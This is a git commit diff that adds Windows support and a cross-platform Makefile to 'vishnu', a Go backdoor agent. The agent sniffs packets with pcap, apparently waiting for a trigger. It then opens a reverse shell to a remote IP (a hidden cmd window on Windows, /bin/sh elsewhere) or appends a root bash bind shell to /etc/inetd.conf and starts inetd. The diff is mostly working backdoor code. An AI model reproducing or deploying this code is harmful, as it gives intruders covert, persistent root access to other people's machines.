added win support, need to fix cmd window syscall error
This commit is contained in:
36
Makefile
Normal file
36
Makefile
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
DIRECTORY=bin
|
||||||
|
MAC=macos-agent
|
||||||
|
LINUX=linux-agent
|
||||||
|
WIN=windows-agent.exe
|
||||||
|
RASP=rasp
|
||||||
|
BSD=bsd-agent
|
||||||
|
FLAGS=-ldflags "-s -w"
|
||||||
|
WIN-FLAGS=-ldflags -H=windowsgui
|
||||||
|
|
||||||
|
all: clean create-directory agent-mac agent-linux agent-windows agent-rasp
|
||||||
|
|
||||||
|
create-directory:
|
||||||
|
mkdir ${DIRECTORY}
|
||||||
|
|
||||||
|
agent-mac:
|
||||||
|
echo "Compiling macos binary"
|
||||||
|
env GOOS=darwin GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${MAC} src/vishnu.go
|
||||||
|
|
||||||
|
agent-linux:
|
||||||
|
echo "Compiling Linux binary"
|
||||||
|
env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} src/vishnu.go
|
||||||
|
|
||||||
|
agent-windows:
|
||||||
|
echo "Compiling Windows binary"
|
||||||
|
env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} src/vishnu.go
|
||||||
|
|
||||||
|
agent-rasp:
|
||||||
|
echo "Compiling RASPI binary"
|
||||||
|
env GOOS=linux GOARCH=arm GOARM=7 go build ${FLAGS} -o ${DIRECTORY}/${RASP} src/vishnu.go
|
||||||
|
|
||||||
|
agent-fuckbsd:
|
||||||
|
echo "Compiling FUCKBSD binary"
|
||||||
|
env GOOS=freebsd GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${BSD} src/vishnu.go
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf ${DIRECTORY}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bufio"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
@@ -8,7 +9,10 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
"github.com/google/gopacket"
|
"github.com/google/gopacket"
|
||||||
"github.com/google/gopacket/layers"
|
"github.com/google/gopacket/layers"
|
||||||
@@ -37,6 +41,9 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
targetInterface = GetWinAdapter()
|
||||||
|
}
|
||||||
// Read package and analze them
|
// Read package and analze them
|
||||||
handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever)
|
handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever)
|
||||||
errorPrinter(err)
|
errorPrinter(err)
|
||||||
@@ -49,6 +56,21 @@ func main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func GetWinAdapter() string {
|
||||||
|
var iface string
|
||||||
|
output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap
|
||||||
|
if err != nil {
|
||||||
|
log.Panicln(err)
|
||||||
|
}
|
||||||
|
startIndex := strings.Index(string(output), "_{")
|
||||||
|
finalIndex := strings.Index(string(output), "}")
|
||||||
|
|
||||||
|
temp := string(output)[startIndex+2 : finalIndex]
|
||||||
|
iface = "\\Device\\NPF_{" + temp + "}"
|
||||||
|
|
||||||
|
return iface
|
||||||
|
}
|
||||||
|
|
||||||
func errorPrinter(err error) {
|
func errorPrinter(err error) {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Panicln(err)
|
log.Panicln(err)
|
||||||
@@ -114,27 +136,45 @@ func connectBack(ip string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
cmd := exec.Command("/bin/sh")
|
if runtime.GOOS == "windows" {
|
||||||
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
|
r := bufio.NewReader(conn)
|
||||||
cmd.Run()
|
for {
|
||||||
conn.Close()
|
order, err := r.ReadString('\n')
|
||||||
|
if nil != err {
|
||||||
|
conn.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd := exec.Command("cmd", "/C", order)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
out, _ := cmd.CombinedOutput()
|
||||||
|
|
||||||
|
conn.Write(out)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
cmd := exec.Command("/bin/sh")
|
||||||
|
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
|
||||||
|
cmd.Run()
|
||||||
|
conn.Close()
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func vishnu(ip string) {
|
func vishnu(ip string) {
|
||||||
if connectback {
|
if connectback || runtime.GOOS == "windows" {
|
||||||
connectBack(ip)
|
connectBack(ip)
|
||||||
|
} else {
|
||||||
|
randomPort := rand.Intn(65535-100) + 100
|
||||||
|
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||||
|
// Append to a file /etc/inetd.conf
|
||||||
|
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
||||||
|
errorPrinter(err)
|
||||||
|
defer fd.Close()
|
||||||
|
|
||||||
|
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
|
||||||
|
log.Panicln(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
exec.Command("/usr/sbin/inetd").Run()
|
||||||
}
|
}
|
||||||
randomPort := rand.Intn(65535-100) + 100
|
|
||||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
|
||||||
// Append to a file /etc/inetd.conf
|
|
||||||
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
|
||||||
errorPrinter(err)
|
|
||||||
defer fd.Close()
|
|
||||||
|
|
||||||
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
|
|
||||||
log.Panicln(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
exec.Command("/usr/sbin/inetd").Run()
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user